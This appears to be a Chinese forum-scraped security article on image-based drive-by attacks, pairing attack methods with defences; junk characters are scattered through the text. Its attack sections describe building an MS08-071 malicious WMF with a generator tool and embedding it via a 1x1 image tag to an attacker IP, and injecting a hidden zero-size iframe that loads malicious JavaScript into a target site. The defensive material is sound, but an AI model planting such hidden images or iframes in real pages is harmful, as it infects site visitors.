|
|
在网页挂马历史中,图片挂马是非常“古老”的。为什么古老的挂马技术到现在还在大量被使用?为什么它能肆无忌惮?我们又该怎么防范它?身为一名安全工程师,这些你不能不知道…… - v/ A8 m0 E6 c1 M4 h. |7 A
$ n3 `: z/ T; p9 l( \$ K# [' f
2 b8 J/ z6 Y L1 F7 n
锐甲团队李海波:许多著名的论坛都出现过被黑客利用图片挂马的事件,图片挂马是一种典型的溢出攻击,这种攻击非常危险。黑客利用图片挂马的途径花样百出,最典型的途径就是广告方式,曾经就出现过黑客购买某门户网站的广告位置用来挂马的事件。由于某些网站为了方便广告客户更换广告,因此广告图片都不是保存在自己网站空间中的,而是直接指向了客户指定的地址,因此黑客在购买广告位置之后,将指向广告的图片修改为恶意溢出图片,导致了许多用户误认为是该门户网站被黑客挂马。
7 R e0 l1 P! `$ c( I 部分网站管理人员在做网站安全维护的时候,往往认为维护一次就可以了,不是忽略了反病毒系统的升级就是忘记了定期审查程序和系统,进行有计划的维护,因此导致许多网站屡屡被黑客溢出攻击。所以一个合格的安全工程师,应该做到面对复杂项目也能有事无巨细地进行审核排查的耐心,时刻关注各种安全公告的发布与更新。这是防堵网络挂马的终极策略。% }& I: m% y x& J, I
图片挂马为什么备受青睐?
& w# e; i3 v. S) j 黑客们之所以热衷于用图片挂马的方式抓肉鸡,主要是图片挂马的隐蔽性相对较高,网管想在成千上万张图片中找到有害文件,既费时又费力。此外,通过嵌入的方式将看似没有问题的图片嵌入网页中,本身就很难发现。9 t) R! }* D, ]2 h ^) e
更重要的是,图片永远是捕获肉鸡的最好诱饵。黑客往往只需要将木马挂到网站上之后,再取一个耸人听闻或者暗示性极强的名字,就会有源源不断的肉鸡找上门来。所以图片挂马就如同古代传说中会吃人的美人鱼一样,先用动听的歌声将在大海中航行的水手迷惑,让他们偏离航向,进而自投罗网落入美人鱼布好的陷阱中。5 A- E1 O7 @% w9 [# r& q% L9 _
图片挂马的主要方式有两种,一种是直接利用JPG漏洞、GDI漏洞或者ANI漏洞等进行溢出挂马,将制作好的溢出文件,直接上传或者链接到入侵的网站中,等待没有打补丁的用户中招。* z6 y. G* p* R4 O4 W
另外一种是将图片伪装后挂马。将包含JS代码或者IFRAME代码的网页木马加密后添加到HTML文件中。
7 B$ m4 w, w1 ^8 L' N7 v ]& D9 y 图片挂马攻防实录 u7 A, Z) m2 ~6 @( Y
方式1:图片漏洞挂马4 \7 N' t2 V% q; M
攻
! a H, V0 O$ K3 ^ 这种挂马方式主要利用的是系统或者建站程序的漏洞。我们以MS08-071漏洞为例讲解这种挂马方式。首先打开《MS08-071漏洞溢出生成器》,在地址一栏中输入木马所在地址(图1)。
+ P0 g* r% q, \ e+ b5 G* i+ d# ]
+ X8 g2 [ Y' ]2 R0 ~9 |+ d 然后在图片地址选项中选择一张正常的图片(优先选择BMP格式图片),点击“生成”之后,含有恶意代码的图片(WMF格式)就出现在溢出程序所在的目录中了(图2)。 3 C. l9 D3 e+ \. x# N* S1 u
. ]3 _& z. E' S* C+ d2 v! q' E* v
5 Y" y$ i6 Z3 b1 K$ j3 X C7 T; ]3 E( a& G
小百科:MS08-071漏洞是一个远程代码执行漏洞,如果用户打开特制的 WMF文件、图像文件等,就会触发漏洞,被黑客远程控制。黑客拥有查看、更改、删除数据或者创建新账户的权限。, Z1 s5 J% K4 {
恶意图片生成后,接下来将它保存到指定的网站中,在需要挂马的网页中添加正常的图片显示代码::<img src="http://192.168.1.178/ms08071.wmf" width="1" height="1" />,这里的IP地址要根据实际情况进行修改。代码添加完成之后,所有访问者都会在浏览该网页时中招。
$ A5 s/ } U' P 防( c Q/ i4 ~3 k9 h6 P. |( R2 Q" b! e
防范这种图片挂马方式最好的办法就是部署服务器反病毒系统,通常反病毒系统在查杀这种漏洞溢出木马时效率和速度会比较高。在必要时,也要提醒工作单位的员工及时升级系统补丁,防止内部感染。这种通过恶意图片进行溢出挂马的方式目前有JPG、GIF、ANI、GDI等许多种,方法大同小异。" Y& f: f& o$ R1 `7 j
此外,由于溢出文件的图片虽然有时候能够正常显示,但是多数时候仍然是无法正常显示的,特别是在用略缩图查看图片文件时,含有恶意代码的溢出图片往往无法正常显示,因此安全工程师可以使用Windows资源管理器中的略缩图查看功能,查看一下网站中哪些图片无法在略缩图模式下正常显示。5 S# d- W" s* K$ x5 x* o) f; \; i0 d. e
方式2:图片伪装挂马* @4 {# Q) V2 p1 u9 X* `
攻
" E8 f7 _$ h% x0 G2 x 这种方法比较简单,所以在最近非常盛行。具体操作方法如下:先准备好特制的JS挂马代码,然后打开写字板,输入HTML代码 (将框架内嵌的木马地址设为图片木马网页的地址):
3 V" y# b: J6 i<html>. t: w: V6 w7 t1 ]9 P. q# [
<iframe. src=" http://特制的JS挂马代码.js" height=0 width=0></iframe>
# A U, |0 [' ?* E. ~3 @6 ?<img src=" 同路径下的图片文件.jpg "></center>7 ?+ p, I8 d9 z
</html># r# X8 p- j0 }7 [/ F
将代码插入目标网站内页或另存为HTML再上传到目标网站,当用户访问该网页时,就会中招(图3)。
; @% G) `% q2 p' [/ s5 f7 V4 @' V. O g, p, @: Q" S9 w' T
/ _/ v% O1 F1 i0 c7 W6 j4 I 这种挂马方式其实是利用图片作为转移网页访问者视线的一种方式。更早之前,我们可以将类似的HTML代码直接另存为GIF文件,上传或者挂到动网论坛中,不过现在直接保存为GIF的方法已经失效了。
' g- d6 H3 F* i 防 X- {" `6 y8 }3 p
这种挂马的防范方法跟防范IFRAME挂马的方法类似,通过JS代码就可以阻断外域的JS文件运行。" W% _ Y$ b! ?* s$ D/ @7 u, S
iframe{zimo1:expression(this.src='about:blank',this.outerHTML='');}
9 d# j6 d, l+ w0 z% z i n script{zimo2:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}) `- D6 j& H2 t0 J- F( W2 n) A
这段代码立即调用IE私有的execCommand方法来停止页面所有请求,所以外域JS文件也被强制停止下载了,就像我们点了浏览器的“停止”按钮一样。 |
|